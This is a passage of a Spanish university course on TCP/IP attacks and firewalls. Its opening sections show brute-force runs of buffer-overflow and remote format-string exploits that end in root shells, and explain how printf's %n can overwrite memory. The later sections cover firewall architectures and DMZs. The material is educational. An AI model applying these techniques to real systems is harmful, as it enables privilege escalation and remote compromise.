-rwxr-xr-x    1 usuario    usuario       13622 Apr  1 09:43 v

[root@victima /]$ su

[root@victima /]$ chown root v

[root@victima /]$ chmod +s v

[root@victima /]$ exit

[usuario@victima /]$ launcher.sh

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==500

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==501

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==528

sh$

sh$ whoami

root

sh$ exit

bsize==529

^C
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1.6.2. Cadenas de formato

.

Los ataques que explotan deficiencias de programación mediante cadenas de for-

mato se producen en el momento de imprimir o copiar una cadena de caracteres

desde unbuffersin las comprobaciones necesarias.

Imaginemos, por ejemplo, que un programador que quiere imprimir el contenido de unbuf-

fer con la sentenciaprintf("%s", buffer) lo codifica comoprintf(buffer)

por error.

Aunque el resultado funcional es el mismo, el resultado técnico es muy distinto, ya que la

sentencia genera un agujero de seguridad en el código que permitiŕa controlar el flujo de

la ejecucíon.

Al indicar directamente a la función printf() el buffer que hay que imprimir, la sen-

tencia lo interpreta como una cadena de formato. Ası́, la funcíon trataŕa de encontrar en el

contenido delbuffercaracteres de formato especiales, como por ejemplo"%d", "%s",

"%x" . Para cada uno de los caracteres de formato, se extraerá de la pila de ejecución un

número variable de argumentos.

.

A causa de este error, un atacante podrı́a acceder a valores de la pila de ejecución

que se encuentren por encima de esta cadena de formato. Esta deficiencia le per-

mitirá, por tanto, tener el control necesario para escribir en la memoria del proceso

y alterar el flujo de la ejecución para llevarlo a unshellcode .

La sentenciaprintf() (y similares), aparte de las utilidades propias de la función para

imprimir números enteros, cadenas de caracteres y delimitar la longitud de los campos a

imprimir, permite:

1) Obtener en cualquier momento el número de caracteres en la salida. Ası́, al encontrarse

un caŕacter de formato especial como"%n" , el número de caracteres en la salida antes de

encontrar este campo se almacenará en la zona de memoria asociada:

int x = 100, i = 20, valor;
printf("\%d \%n \%d", x, &valor, i);
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2) El caŕacter de formato"%n" devolveŕa el ńumero de caracteres que deberı́an haberse

emitido en la salida, y no el número de los que realmente se van emitir. Aunque al dar

formato a una cadena de caracteres en unbufferde tamãno fijo la cadena se hubiese trun-

cado, el valor devuelto por"%n" seŕa el desplazamiento original de la cadena (se haya o

no truncado). Para comprobarlo, podemos ver como en el siguiente ejemplo la variable

valor devuelve 100 en lugar de 20:

[usuario@victima /]$ cat a.c

int main(){

  char buf[20];

  int valor, x=0;

  snprintf(buf, sizeof(buf), "%.100d%n ",x, &valor);

  printf("%d",valor);

}

[usuario@victima /]$ gcc a.c -o a

[usuario@victima /]$ ./a
100

Aśı pues, vemos ćomo mediante la manipulación correcta de funciones comosprintf()

y printf() se pueden modificar entradas de la pila de ejecución. Concretamente, se

podŕa modificar la informacíon de la pila que indica el número de bytes señalados por

"%n" , en la direccíon que se le indique en la función mediante la cadena de formato (ya

que este valor se deposita en la pila para que actúe como el siguiente argumento).

El valor que hay que escribir se puede manejar como se desee ya que, como hemos visto,

con la cadena de formato"%.numerod" se puede ãnadir valor a los caracteres existentes

realmente en elbufferantes de"%n" .

.

Al igual que en los ataques realizados mediante desbordamiento debuffer, al poder

manipular el contenido de la pila de ejecución es posible modificar cualquier valor

deseado dentro del espacio de memoria del proceso. Este hecho se puede utilizar

para sobreescribir el comando de sistema que se debe ejecutar, el identificador de

usuario asociado a un programa, el valor de regreso de una función para cambiar el

flujo de ejecucíon de un proceso a unshellcode , etc.
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Explotación remota mediante una cadena de formato

Veremos a continuación la ejecucíon remota de un ataque de explotación mediante cadenas

de formato contra un servidor de ftp real.

En este ejemplo, podemos ver cómo se cumplen las mismas condiciones que hemos visto

en los casos anteriores, con la diferencia de que ahora se realizará sobre una aplicación que

presta servicios de forma remota a través de internet.

Igual que en otros ejemplos, construimos un guión de sistema para realizar la ejecución

delexploitde forma continua contra un servidor de ftp que se encuentra en la dirección IP

10.0.0.4 :

[usuario@victima /]$ cat launcher2.sh

for i in `seq 1 500`;do

   echo "Intent nº: $i";

   ./$1 $2;

done

[usuario@victima /]$ ./launcher.sh exploitFtp 10.0.0.4

Intento nº: 1

200-31 bffff368 1ee bfffd2f0 +bfffceec |0

200 (end of '%x %x %x %x +%x |%x')

Ret location befor: 0

Ret      location : bfffce94

Proctitle addres  : 807347b and 134689915

tmp 1  : 0x62626262

tmp 2  : 0x0

tmp 1  : 0x25662e25

tmp 2  : 0x0

...

...

tmp 1  : 0x2e25662e

tmp 2  : 0x0

./launcher2.sh: line 3: 30003 Segmentation fault

...

...

...

Intento nº: 23

----------------

200-31 bffff368 1ee bfffd2f0 +bfffceec |0

200  (end of '%x %x %x %x +%x |%x')

Ret location befor: 0

Ret      location : bfffce94

Proctitle addres  : 807347b and 134689915

tmp 1  : 0x62626262

tmp 2  : 0x0

tmp 1  : 0xbfffce94

 --> 24 <-- Ok!!!

 --> 23 <-- Ok!!!

 Abriendo una shell...

200-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbÎÿ¿-2-2000-

2000000000000000000000000000000000nan00000000-

...

...

000000000000000000000000000000000000000000000000000

whoami

root

Como vemos en la figura anterior, tras realizar veintidós intentos, el ataque se produce

satisfactoriamente y el usuario que ejecuta el ataque obtiene una consola de sistema en el

equipo remoto con privilegios de usuario administrador.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02121 59 Ataques contra redes TCP/IP

Resumen

El objetivo de este primer ḿodulo did́actico ha sido presentar de forma práctica algunos

ejemplos de ćomo se puede vulnerar la seguridad de la familia de protocolos TCP/IP.

Durante la exposición de cada capı́tulo hemos visto algunos de los ataques existentes contra

la seguridad en cada una de las capas de este modelo de red.

El origen de muchos de estos ataques como, por ejemplo, la manipulación de informacíon,

la suplantacíon de identidades, etc. ha existido fuera del entorno informático desde hace

muchos ãnos. La solucíon de estos problemas no pasa sólo por el ańalisis t́ecnico de los

sistemas involucrados, sino también por el de la comprensión de todos aquellos factores

que afectan al usuario.

Aun aśı, desde un punto de vista técnico, el riesgo de una mala utilización de los protocolos

de cada una de las capas, junto con las deficiencias de programación de las aplicaciones

existentes para ofrecer servicios a través de internet son problemas de seguridad que sı́ se

pueden solucionar.

En los siguientes ḿodulos did́acticos veremos ćomo evitar y protegerse de estos ataques

desde el punto de vista técnico. Estos ḿodulos est́an orientados a explicar, de forma

didáctica, las tareas necesarias para conseguir este objetivo. De forma muy resumida,

estas tareas ayudarán a implementar las siguientes necesidades:

• Prevencíon y protección. Mediante la instalación de sistemas cortafuegos y de meca-

nismos criptogŕaficos para garantizar la privacidad y la integridad de la información en

las comunicaciones, será posible llegar a conseguir un primer nivel de prevención y de

proteccíon contra la mayor parte de los ataques que hemos visto.

• Autenticación. La autenticacíon es posiblemente una de las necesidades más impor-

tante, dado que el hecho de conseguir privacidad e integridad no tendrı́a ninǵun sentido

si no se garantizara la identificación del destinatario. Mediante la utilización de proto-

colos criptogŕaficos de autenticación fuerte seŕa posible garantizar esta necesidad.

• Deteccíon y respuesta. Aśı como los elementos anteriores los hemos identificado

como b́asicos e imprescindibles para poder ofrecer un nivel de seguridad mı́nimo, es

necesaria la utilización de mecanismos complementarios para detectar los ataques que

no se hayan podido evitar y tomar las acciones adecuadas para neutralizarlos.
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Glosario

Address Resolution Protocol (ARP): protocolo de la familia TCP/IP que asocia direcci-

ones IP a direcciones MAC.

ARP: verAddress Resolution Protocol.

Denegacíon de servicio (DoS):ataque que hace una apropiación exclusiva de un recurso

o servicio con la intención de evitar cualquier acceso a terceras partes. En inglés,deny of

service.

Desbordamiento debuffer: posibilidad de corromper la pila de ejecución para modificar

el valor de retorno de una llamada a función y provocar la ejecución de ćodigo arbitrario.

DoS:verDenegacíon de servicio.

Huella identificativa: informacíon muy precisa que permite identificar un sistema o una

red en concreto. En inglés,fingerprinting.

Esćaner de vulnerabilidades:aplicacíon que permite comprobar si un sistema es vulne-

rable a un conjunto de deficiencias de seguridad.

Exploit: aplicacíon, generalmente escrita en C o ensamblador, que fuerza las condicio-

nes necesarias para aprovecharse de un error de programación que permite vulnerar su

seguridad.

Exploración de puertos: técnica utilizada para identificar los servicios que ofrece un

sistema.

Explotación de un servicio:actividad realizada por un atacante para conseguir una esca-

lada de privilegios, abusando de alguna deficiencia del servicio o del sistema.

Fingerprinting: verHuella identificativa.

Firewall: verCortafuegos.

Fragmentación IP: proceso de división de un datagrama IP en fragmentos de menor lon-

gitud.

Internet Control Message Protocol (ICMP): protocolo encargado de realizar el control

de flujo de los datagramas IP que circulan por la red.

ICMP: ver Internet Control Message Protocol.

Internet Protocol (IP): protocolo para la interconexión de redes.
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IP: ver internet Protocolo.

IP flooding: ataque de denegación de servicio basado en una saturación de la red mediante

la generacíon masiva de datagramas IP.

Maxim Transfer Unit (MTU): medida ḿaxima de un datagrama IP dentro de una red.

MTU: Ver Maxim Transfer Unit.

Requests for Comments:conjunto de documentos técnicos y notas organizativas sobre

internet.

Reensemblado IP:proceso de reconstrucción de un datagrama IP a partir de sus fragmen-

tos.

RFC: Ver Requests for Comments.

Rootkit: recopilacíon de herramientas utilizadas en un ataque de intrusión para garantizar

la ocultacíon de huellas, garantizar futuras conexiones, realizar otros ataques al sistema,

etc.

Shellcode:código ensamblador inyectado en memoria que unexploit trataŕa de ejecutar.

Sniffer: aplicacíon que intercepta toda la información que pase por la interfaz de red a la

que est́e asociado.

SYN Flooding: ataque de denegación de servicio que se basa en no complementar inten-

cionadamente el protocolo de intercambio de TCP.

Cortafuegos: elemento de prevención que realizaŕa un control de acceso para proteger

una red de los equipos del exterior (potencialmente hostiles).

Transmission Control Protocol (TCP): protocolo de transporte de la arquitectura de pro-

tocolos TCP/IP.

TCP: verTransmission Control Protocol.

User Datagram Protocol (UDP):protocolo de transporte de la arquitectura de protocolos

TCP/IP.

UDP: verUser Datagram Protocol.
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Introducci ón

Cuando un equipo se conecta a una red informática, se pueden identificar cualquiera de las

tresáreas de riesgo siguientes:

Primero, se incrementa el número de puntos que se pueden utilizar como origen para reali-

zar un ataque contra cualquier componente de la red. En un sistema aislado (sin conexión),

un requisito necesario para que sea atacado es forzosamente la existencia de un acceso

fı́sico hacia el equipo. Pero en el caso de un sistema en red, cada uno de los equipos que

pueda enviar información hacia la v́ıctima podŕa ser utilizado por un posible atacante.

Algunos servicios (como, por ejemplo Web y DNS) necesitan permanecer públicamente

abiertos, de forma que cualquier equipo conectado a internet podrı́a ser el origen de una ac-

tividad maliciosa contra los servidores de estos servicios. Esto hace que sea muy probable

la existencia de ataques regulares contra dichos sistemas.

La segundáarea de riesgo abarca la expansión del peŕımetro f́ısico del sistema inforḿatico

al que el equipo acaba de ser conectado. Cuando la máquina est́a aislada, cualquier ac-

tividad se puede considerar como interna en el equipo (y por lo tanto, de confianza). El

procesador trabaja con los datos que encuentra en la memoria, que al mismo tiempo han

sido cargados desde un medio de almacenamiento secundario. Estos datos están realmente

bien protegidos contra actos de modificación, eliminacíon, observacíon maliciosa, . . . al

ser transferidos entre diferentes componentes de confianza.

Pero esta premisa no es cierta cuando los datos se transfieren a través de una red. La in-

formacíon transmitida por el medio de comunicación es retransmitida por dispositivos que

est́an totalmente fuera de control del receptor. La información podria ser léıda, almace-

nada, modificada y, posteriormente, retransmitida al receptor legı́timo. En grandes redes,

y en especial internet, no es trivial la autenticación del origen que se presenta como el de

emisor de un mensaje.

Por último, la terceráarea de riesgo se debe al aumento en el número de servicios de

autenticacíon (generalmente, un servicio delogin-password) que un sistema conectado a

una red deberá ofrecer, respecto a un sistema aislado. Estos servicios no dejan de ser

simples aplicaciones (con posibles deficiencias de programación o de disẽno) que protegen

el acceso a los recursos de los equipos del sistema. Una vulnerabilidad en algunos de estos

servicios podŕıa comportar el compromiso del sistema al completo.

La prevencíon de ataques supondrá la suma de todos aquellos mecanismos de seguridad

que proporcionen un primer nivel de defensa y tratarán de evitar eĺexito de los ataques

dirigidos contra la red que está bajo su protección.
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Objetivos

Los objetivos que se deben alcanzar con el estudio de este módulo son:

1) Entender el funcionamiento de las tecnologı́as cortafuegos.

2) Ver los distintos ḿetodos existentes para el filtrado de tráfico TCP/IP.

3) Comprender las distintas posibilidades de configuración de los sistemas cortafuegos.
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2.1. Sistemas cortafuegos

.

Los sistemas cortafuegos* son un mecanismo de control de acceso sobre la capa de red.

* En inglés, firewalls.La idea b́asica es separar nuestra red (donde los equipos que intervienen son de confianza)

de los equipos del exterior (potencialmente hostiles).

Un sistema cortafuegos actúa como una barrera central, para reforzar el control de acceso a

los servicios que se ejecutan tanto en el interior como en el exterior de la red. El cortafue-

gos intentaŕa prevenir los ataques del exterior contra las máquinas internas de nuestra red

denegando intentos de conexión desde partes no autorizadas.

Un cortafuegos puede ser cualquier dispositivo utilizado como mecanismo de control de

acceso a nivel de red para proteger a una red en concreto o a un conjunto de redes. En la

mayoŕıa de los casos, los sistemas cortafuegos se utilizan para prevenir accesos ilı́citos en

el interior de la red.

.

Un cortafuegos es aquel sistema de red expresamente encargado de separar redes

informáticas, efectuando un control del tráfico existente entre ellas. Este control

consiste, eńultima instancia, en permitir o denegar el paso de la comunicación de

una red a otra mediante el control de los protocolos TCP/IP.

A la hora de instalar y configurar un sistema cortafuegos en nuestra red, debemos tener

presente lo siguiente:

1) Todo el tŕafico que sale del interior hacia el exterior de la red que se quiere proteger, y

viceversa, debe pasar por el cortafuegos. Esto se puede conseguir bloqueando fı́sicamente

todo el acceso al interior de la red a través del sistema.

2) Solo el tŕafico autorizado, definido en las polı́ticas de seguridad locales del sistema,

podŕa traspasar el bloqueo.

3) El propio cortafuegos debe estar protegido contra posibles intrusiones. Esto implica el

uso de un sistema operativo de confianza con suficientes garantı́as de seguridad.
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2.2. Construcción de sistemas cortafuegos

.

En el sentido ḿas general, un sistema cortafuegos consta desoftwarey hardware. El

softwarepuede ser propietario,sharewareo freeware. Por otro lado, elhardwarepodŕa ser

cualquiera que pueda soportar estesoftware.

Actualmente, tres de las tecnologı́as ḿas utilizadas a la hora de construir sistemas cortafue-

gos son las siguientes:

• Encaminadores con filtrado de paquetes.

• Pasarelas a nivel de aplicación.

• Pasarelas a nivel de circuito.

A continuacíon estudiaremos con ḿas detalle cada una de estas categorı́as.

2.2.1. Encaminadores con filtrado de paquetes

Se trata de un dispositivo que encamina el tráfico TCP/IP (encaminador* de TCP/IP) sobre

* En inglés, router.la base de una serie de reglas de filtrado que deciden qué paquetes se encaminan a través

suyo y cuales se descartan.

Red externa Red interna

Filtro de paquetes

Reglas

de filtrado
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.

Las reglas de filtrado se encargan de determinar si a un paquete le está permitido

pasar de la parte interna de la red a la parte externa, y viceversa, verificando el

tráfico de paquetes legı́timo entre ambas partes.

Los encaminadores con filtrado de paquetes, al trabajar a nivel de red, pueden aceptar

o denegar paquetes fijándose en las cabeceras del protocolo (IP, UDP, TCP, . . . ), como

pueden ser:

• Direcciones de origen y de destino.

• Tipos de protocolo e indicadores (flags) especiales.

• Puertos de origen y de destino o tipos de mensaje (según el protocolo).

• Contenido de los paquetes.

• Tamãno del paquete.

Internet

Red

Reglas

de

filtrado

Red externa Red interna
Filtro

de paquetes

Estas reglas estarán organizadas en conjuntos de listas con una determinada polı́tica por

defecto (denegarlo todo, aceptarlo todo, . . . ).

Cada paquete que llegue al dispositivo será comparado con las reglas, comenzando por

el principio de la lista hasta que se encuentre la primera coincidencia. Si existe alguna

coincidencia, la acción indicada en la regla se activará (denegar, aceptar, redirigir, . . . ).
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Por contra, si no es posible ninguna coincidencia, será consultada la polı́tica por defecto

para saber qué acción hay que tomar (dejar pasar el paquete, descartarlo, redireccionarlo,

etc). Si se trata, por ejemplo, de una polı́tica de denegación por defecto, en el caso de no

existir ninguna coincidencia con el paquete,éste seŕa descartado.

Una poĺıtica de denegación por defecto suele ser más costosa de mantener, ya que será

necesario que el administrador indique explı́citamente todos los servicios que tienen que

permanecer abiertos (los demás, por defecto, serán denegados en su totalidad).

En cambio, una polı́tica de aceptación por defecto es ḿas sencilla de administrar, pero

incrementa el riesgo de permitir ataques contra nuestra red, ya que requiere que el ad-

ministrador indique explı́citamente qúe paquetes es necesario descartar (los demás, por

defecto, seŕan aceptados en su totalidad).

Ejemplos de configuracíon

En la figura siguiente se presenta una posible red en la que se ha implantado la siguiente

poĺıtica de seguridad mediante la configuración de un conjunto de reglas de filtrado de

paquetes aplicadas en el mismo encaminador:

• Todos los sistemas de la red interna 10.0.0.0 pueden acceder a cualquier servicio TCP

de internet.

• El tráfico ICMP śolo est́a permitido de salida, no de entrada (para evitar la extracción

de informacíon mediante este protocolo).

• Los sistemas externos no se pueden conectar a ningún sistema interno, excepto al ser-

vidor de HTTP (10.0.0.1).

Internet

Equipo de

producción

Encaminador

Equipo de

producción
Servidor

HTTP

10.0.0.0/24
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Las reglasdefiltrado configuradas en el encaminador corresponden alasiguiente tabla:

Regla Acción Origen
Puerto

de origen
Destino

Puerto de
destino

Indicador Descripción

1 Permite 10.0.0.0 * * * ICMP
Permite tráfico ICMP

de salida

2 Permite 10.0.0.0 * * * TCP
Permite conexiones TCP

de salida

3 Permite * * 10.0.0.1 80 TCP
Permite conexiones HTTP

de entrada

4 Rechaza * * 10.0.0.0 * *
Rechaza cualquier otra

conexión a la red interna

Como segundo ejemplo, podemos pensar en la misma red, pero con la siguiente polı́tica

de seguridad:

• Todos los sistemas de la red interna 10.0.0.0 pueden acceder a cualquier servicio TCP

de la red internet, exceptuando HTTP.

• Se deben de autorizar accesos al servidor de DNS (10.0.0.3).

• Los sistemas externos no se pueden conectar a ningún sistema interno, excepto al ser-

vidor de HTTP (10.0.0.1) y de SMTP (10.0.0.2).

Internet

Servidor

DNS

Encaminador

Servidor

SMTP
Servidor

HTTP

10.0.0.0/24

Las reglas de filtrado de este segundo ejemplo podrı́an corresponder a las expresadas en la

siguiente tabla:

Regla Acción Origen
Puerto

de origen
Destino

Puerto de
destino

Indicador Descripción

1 Rechaza 10.0.0.0 * * 80 TCP
Rechaza cualquier conexión

a servidores HTTP

2 Permite 10.0.0.0 * * * TCP
Permite conexiones TCP

de salida

3 Permite * * 10.0.0.1 80 TCP
Permite conexiones HTTP

entrantes

4 Permite * * 10.0.0.2 25 TCP
Permite conexiones SMTP

entrantes

5 Permite * * 10.0.0.3 53 UDP
Permite conexiones DNS

entrantes

6 Rechaza * * 10.0.0.0 * *
Rechaza cualquier otra

conexión a la red interna
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Ventajas y desventajas de los encaminadores con filtrado de paquetes

La construcción de un sistema cortafuegos mediante un encaminador con filtrado de pa-

Un ejemplo de encaminador
con filtrado de paquetes
podrı́a ser la utilización de un
sistema GNU/Linux actuando
como encaminador de tráfico
IP, junto con sus
herramientas de
administración asociadas
para la construcción de las
reglas de filtrado.

quetes es realmente económica, ya que generalmente suelen ser construidos conhardware

ya disponible. Adeḿas, ofrece un alto rendimiento para redes con una carga de tráfico

elevada. Adicionalmente, esta tecnologı́a permite la implantación de la mayor parte de las

poĺıticas de seguridad necesarias.

.

Las polı́ticas de seguridadson el resultado de documentar las expectativas

de seguridad, intentando plasmar en el mundo real los conceptos abstractos de

seguridad.

Se pueden definir de forma procesal (plasmando de forma práctica las ideas o fi-

losof́ıas de la empresa en cuanto a seguridad) o de manera formal (utilizando un

modelo mateḿatico que intente abarcar todos los posibles estados y operaciones).

Aun con estas ventajas, los encaminadores de red con filtrado de paquetes pueden presentar

algunas deficiencias como, por ejemplo:

* En inglés, logging.

• Muchos de los encaminadores utilizados pueden ser vulnerables a ataques existentes

(aunque la mayorı́a de los distribuidores tendrán los correspondientes parches para

solucionarlo). Aparte, no siempre activan sus capacidades de registro*. Esto provoca

que para el administrador sea difı́cil conocer si su encaminador está siendo atacado.

• Su capacidad de actuación puede llegar a deteriorarse a causa de la utilización de un

filtro excesivamente estricto, dificultando también el proceso de gestión del dispositivo

si este ńumero de reglas llegara a ser muy elevado.

• Las reglas de filtrado pueden ser muy complejas, y en ocasiones sucede que posibles

distracciones en su configuración sean aprovechadas por un atacante para realizar una

violación de la poĺıtica de seguridad.
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2.2.2. Pasarelas a nivel de aplicación

Una pasarela anivel de aplicación, conocida también como servidor intermediario (o en

inglésproxy), no encamina paquetes a nivel de red sino que actúa como retransmisor a

nivel de aplicacíon. Los usuarios de la red contactarán con el servidor intermediario, que a

su vez estaŕa ofreciendo un servicioproxyasociado a una o ḿas aplicaciones determinadas.

Telnet

Red externa Red interna

Conexión

de entrada

Conexión

de salida

FTP

Mail

HTTP

IMAP

Pasarela a nivel de aplicación

POP

.

El servicioproxyse encargará de realizar las conexiones solicitadas con el exterior

y, cuando reciba una respuesta, se encargará de retransmitirla al equipo que habı́a

iniciado la conexíon. Aśı, el servicioproxy ejecutado en la pasarela aplicará las

normas para decidir si se acepta o se rechaza una petición de conexíon.

Una pasarela separa completamente el interior del exterior de la red en la capa de enlace,

ofreciendoúnicamente un conjunto de servicios a nivel de aplicación. Esto permite la au-

tenticacíon de los usuarios que realizan peticiones de conexión y el ańalisis de conexiones

a nivel de aplicacíon.

Estas dos caracterı́sticas provocan que las pasarelas ofrezcan una mayor seguridad respecto

a los filtros de paquetes, presentando un rango de posibilidades muy elevado. Por el con-

trario, la penalizacíon introducida por estos dispositivos es mucho mayor. En el caso de

una gran carga de tráfico en la red, el rendimiento puede llegar a reducirse drásticamente.

En la pŕactica, las pasarelas y los dispositivos de red con filtrado de paquetes son comple-

mentarios. Aśı, estos dos sistemas se pueden combinar, proporcionando más seguridad y

flexibilidad que si se utilizara solamente uno, como se muestra en la siguiente figura:
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Internet

Red

Reglas

de

filtrado

Red externa Red interna

Filtro

de paquetes

Internet

Controles

específicos

Pasarela

a nivel

de aplicación

Transporte

Aplicación

Red interna

Red

Cuando la pasarela verifica al cliente, abre una conexión al servidorproxy, siendoéste el

responsable de transmitir los datos que reciba el cliente del servidor intermediario.

Cliente Servidor

Dirección IP: 10.0.0.1

Puerto: 1024

Dirección IP: 192.168.0.3

Puerto: 23

Sensación del cliente

Servicio

Proxy

Pasarela a nivel de aplicación

Este funcionamiento particular provoca que las pasarelas a nivel de aplicación presenten un

rendimiento inferior que los filtros de paquetes (debido al elevado número de conexiones

adicionales que hay que realizar). Para evitarlo, los servidores intermediarios se pueden

configurar para realizar una copia de los datos recibidos de un sistema y entregarlos de

nuevo ḿas tarde si otro equipo de la red los solicita*.

* Sistemas conocidos como
proxy cache.

El uso de las pasarelas proporciona varios beneficios. De entrada, una pasarela podrı́a

permitir el accesóunicamente a aquellos servicios para los que hay un servidorproxy

habilitado. Aśı, si una pasarela contiene servicios intermediarios tan solo para los servicios

HTTP y DNS, entonces sólo HTTP y DNS estaŕan permitidos en la red interna. El resto

de servicios serı́an completamente rechazados.
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Otro beneficio del uso de pasarelas es que el protocolo también se puede filtrar, prohibiendo

aśı el uso de distintos subservicios dentro de un mismo servicio permitido. Por ejemplo,

medianteunapasarelaquefiltraraconexionesFTP, serı́aposibleprohibir únicamenteel uso

del comando PUT de FTP, dejando habilitado el resto de comandos. Esta caracterı́stica no

seŕıa posible haciendo usóunicamente de filtros de paquetes.

Adicionalmente, los servidores intermediarios también pueden implantar el filtro de cone-

xiones por direccíon IP de la misma forma que los filtros de paquetes, ya que la dirección

IP est́a disponible en eĺambito de aplicación en el cual se realizará el filtrado.

Aun obteniendo ḿas control global sobre los servicios vigilados, las pasarelas también

presentan algunas problemáticas. Uno de los primeros incovenientes que hay que destacar

es la necesidad de tener que configurar un servidorproxypara cada servicio de la red que

se debe vigilar (HTTP, DNS, Telnet, FTP, . . . ). Además, en el caso de protocolos cliente-

servidor como, por ejemplo, FTP, pueden llegar a ser necesarios algunos pasos adicionales

para conectar el punto final de la comunicación.
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2.2.3. Pasarelas a nivel de circuito

Las pasarelas a nivel de circuito son un hı́brido entre los esquemas de filtrado de paquetes

y el uso de servidores intermediarios.

.

Una pasarela a nivel de circuitoes un dispositivo similar al de pasarela a nivel

de aplicacíon, donde el usuario establece primero una conexión con el sistema

cortafuegos ýeste establece la conexión con el equipo de destino.

Pero, en contraste con una pasarela tradicional, una pasarela a nivel de circuito opera de

manera similar a un filtro de paquetes a nivel de red una vez que la conexión ha sido

inicializada.

Aśı, una vez establecida la conexión, el dispositivo se encargará de retransmitir todo el

tráfico entre ambas partes sin inspeccionar el contenido de los paquetes a nivel de aplica-

ción, tal y como muestra la siguiente figura:

Out

Out

Out

In

In

in

Red externa

Conexión

de salida

Red interna

Conexión

de entrada

Pasarela a nivel de circuito

La función de seguridad que ofrece este tipo de dispositivo consiste en determinar qué

conexiones están permitidas, antes de bloquear conexiones hacia el exterior.

Esta forma de trabajar es mucho más ŕapida que un sistema tradicional, ya que las conexi-

ones pueden ser restringidas a nivel de usuario sin necesidad de analizar todo el contenido

de los paquetes transmitidos.
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2.3. Zonas desmilitarizadas

.

En ciertas instalaciones, no es suficiente unúnico dispositivo cortafuegos. Aquellas redes

formadas por ḿultiples servidores, accesibles públicamente desde el exterior, juntamente

con estaciones de trabajo que deberı́an estar completamente aisladas de conexiones con el

exterior, se beneficiarán de la separación entre dos grupos de sistemas cortafuegos.

Supongamos, por ejemplo, la siguiente red:

Internet

Servidor

HTTP

Bastion Host

Usuario Usuario

10.0.0.0/24

En la figura anterior vemos uńunico sistema cortafuegos como punto de protección, Equipo bastíon

El nombre de equipo bastión
(bastion host) proviene de las
murallas fuertemente
protegidas que separaban los
castillos medievales del
exterior.

implantado mediante la utilización de un equipo bastión con una arquitecturadual-homed.

.

Un equipo bastíon (en ingĺesbastion host) es un sistema inforḿatico que ha sido

fuertemente protegido para soportar los supuestos ataques desde un lugar hostil (en

este caso, internet) y que actúa como punto de contacto entre el interior y el exterior

de una red.
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.
Equipo dual-homed

Se trata de un equipo
informático de propósito
general que tiene, al menos,
dos interfı́cies de red (en
inglés, network interfaces o
homes).

Unaarquitectura de cortafuegosdual-homedse construye mediante el uso de un

equipodual-homedcon la capacidad de encaminamiento desactivada. De esta for-

ma, los paquetes IP de un extremo de la red (la parte hostil) no serán encaminados

hacia la parte protegida, y viceversa, a no ser que se indique lo contrario.

Mediante esta arquitectura, los equipos de la red interna se pueden comunicar con el equipo

dual-homed, los equipos de la red externa pueden comunicarse con el equipodual-homed,

pero los equipos de la red interna y externa no se pueden poner en comunicación directa-

mente, sino que un servidor intermediario se encarga de realizar las conexiones en nombre

de estas dos partes.

Esto hace que este cortafuegos con arquitecturadual-homedsea un punto crı́tico en la

seguridad de la red. Si un atacante consigue comprometer cualquiera de los servidores que

se encuentre detrás de este puntóunico, las otras ḿaquinas podŕan ser atacadas sin ninguna

restriccíon desde el equipo que acaba de ser comprometido.

Para prevenir estas situaciones, es posible la utilización de dos dispositivos cortafuegos,

introduciendo el concepto de zona desmilitarizada o DMZ*.

* En inglés, DeMilitarized
Zone.

Internet Red interna

Cortafuegos

Zona desmilitarizada (DMZ)

Cortafuegos

En la instalacíon que se muestra en la figura anterior, un cortafuegos separa el exterior de

la red del segmento desmilitarizado (la DMZ) y los servidores que tienen que ser públicos

desde el exterior de la red. El segundo cortafuegos, que hace de punto de contacto entre la

red interna y la zona desmilitarizada, se configurará para que rechace todos los intentos de

conexíon que vayan llegando desde el exterior.

.

Aśı, si un atacante consigue introducirse en uno de los servidores de la zona desmi-

litarizada, seŕa incapaz de atacar inmediatamente una estación de trabajo. Es decir,

aunque un atacante se apodere del segmento de los servidores, el resto de la red

continuaŕa estando protegida mediante el segundo de los cortafuegos.
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Combinación de tecnoloǵıas para la construccíon de una DMZ

En la figura siguiente podemos ver el uso de un encaminador con filtrado de paquetes,

juntamente con la utilización de un servidor intermediario para el establecimiento de una

zona desmilitarizada.

Internet

Usuario Usuario

DMZ

Servidor

HTTP

Servidor

DNS

Base de

datos

10.0.0.0/24

Encaminador

Proxy

Servidor

DNS

Otra forma de solucionar los mismos problemas planteados consiste en la utilización de un

sistema que implemente una inspección de estados en el filtro de paquetes.

.

* En inglés, stateful multi
layer inspection.La inspeccíon de estados*, diseñada por la empresa de productos de seguridad

Chekpointe implementada inicialmente en el productoFirewall-1, combina (al

igual que las pasarelas a nivel de circuito) el rendimiento de los filtros de paquetes

con la seguridad adicional que presenta la utilización de servidores intermediarios.
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De esta forma se puede simplificar el esquema planteado anteriormente y mantener a la

vez un nivel de rendimiento sin renunciar a las capacidades de monitorización que ofrece

lautilización deun punto deprotección único.

En la figura siguiente se ilustra la implantación de un equipo bastión con arquitectura de

cortafuegosdual-homedy con implantacíon de inspección de estados.

Internet

Bastion Host

Usuario Usuario

DMZ

Servidor

HTTP

Servidor

DNS

Base de

datos

10.0.0.0/24
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2.4. Caracterı́sticas adicionales de los sistemas cortafuegos

.

Como hemos visto, la utilización de un sistema cortafuegos supone una barrera de control

que mantendŕa la red protegida de todos aquellos accesos no autorizados, actuando como

un punto central de control y realizando las tareas de administración más simples.

No obstante, este control y protección de la red eśunicamente una de las posibilidades que

pueden ofrecer los sistemas cortafuegos más modernos.

Por el hecho de situarse en un punto de choque, los sistemas cortafuegos pueden ofrecer

otras funciones interesantes. Algunas de estas caracterı́sticas adicionales incluyen:

• Filtrado de contenidos. Muchas organizaciones desean evitar que sus usuarios utili-

cen los recursos corporativos para navegar por determinados sitios web no deseados.

El filtrado de contenidos ofrecido por algunos sistemas cortafuegos puede bloquear el

acceso a estos sitios web, a la vez que protege la red contra cualquier código malicioso

insertado en sus páginas, como por ejemploActiveXy códigoJavahostil.

• Red privada virtual*. Este tipo de funcionalidad ofrecida por la mayorı́a de los siste-

mas cortafuegos actuales, permite la construcción de un t́unel seguro entre dos puntos

de la red, normalmente para proteger las comunicaciones de una red corporativa al

atravesar una red hostil (como es el caso de internet).

-* En inglés, Virtual Private
Networking, (VPN).
-** En inglés, Network
Address Translation, (NAT).
-*** En inglés,
High-Availability, (HA).

